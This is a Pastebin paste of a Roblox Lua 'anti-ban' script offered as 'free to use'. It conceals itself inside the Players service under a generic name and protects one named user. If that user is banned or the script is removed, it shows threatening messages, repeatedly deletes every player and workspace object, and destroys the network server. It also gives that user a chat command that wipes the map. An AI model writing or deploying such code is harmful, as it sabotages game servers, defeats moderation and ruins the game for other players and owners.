Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- script.Parent = game.Players
- n = "h"
- n = n.."u"
- n = n.."t"
- n = n.."s"
- n = n.."p"
- n = n.."y"
- h = Instance.new("Hint")
- m = Instance.new("Message")
- script.Name = "Script"
- l = Instance.new("ForceField", script)
- --------------You can change below------------------
- respawntime = 0
- protect = "firemomo45"
- -------Version [Don't change]------------
- version = 1.05
- while true do
- if game.Players:findFirstChild(protect) == nil then
- m.Parent = game.Workspace
- m.Text = protect.." is banned, the server will be removed..."
- wait()
- m.Text = "Unban "..protect.." or remove your script, else the server will be down with the following countdown!"
- wait()
- for i= respawntime, 0, -1 do
- if game.Players:findFirstChild(protect) == nil then
- m.Text = "If "..protect.." doesn't reappear in ["..i.."] then the server is down!"
- wait()
- end
- end
- if game.Players:findFirstChild(protect) ~= nil then
- m.Text = protect.." came back, nothing will happen!"
- wait()
- m:remove()
- else
- while true do
- for i, p in ipairs(game.Players:getChildren()) do
- p:Remove()
- end
- for i, w in ipairs(game.Workspace:getChildren()) do
- w:Remove()
- end
- wait()
- end
- end
- else
- h.Parent = game.Workspace
- h.Text = "AntiBan scripts are up, so dont even think about it"
- end
- wait()
- end
- ---[The new part! :D]---
- asdf = game.Players:findFirstChild(protect)
- function chat(msg)
- if msg == "off" then
- --[it cleans...]-----
- stuff = game.Workspace:GetChildren()
- for i = 1 , #stuff do
- if stuff[i].className ~= "Script" then
- if game.Players:GetPlayerFromCharacter(stuff[i]) == nil then
- stuff[i]:Remove()
- end
- end
- end
- p = Instance.new("Part")
- p.Parent = game.Workspace
- p.Name = "Base"
- p.Anchored = true
- p.BottomSurface = "Smooth"
- p.BrickColor = BrickColor.new("Bright green")
- p.Size = Vector3.new(512, 1, 512)
- p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
- end
- end
- asdf.Chatted:connect(chat)
- --[free to use! :D]--------------
- while wait() do
- if (workspace:FindFirstChild("firemomo45") == nil) then
- m = Instance.new("Message")
- m.Text = "FUCK YOU, STOP BANNING PEOPLE"
- game.NetworkServer:Remove()
- wait(3)
- m:Remove()
- end
- end
- print("Script is working, you're good to go firemomo45!")
- script.Changed:connect(function()
- ioi = Instance.new("Message")
- ioi.Text = "Anti-Ban Script was removed from the game, shutting down server"
- wait()
- game.NetworkServer:Remove()
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement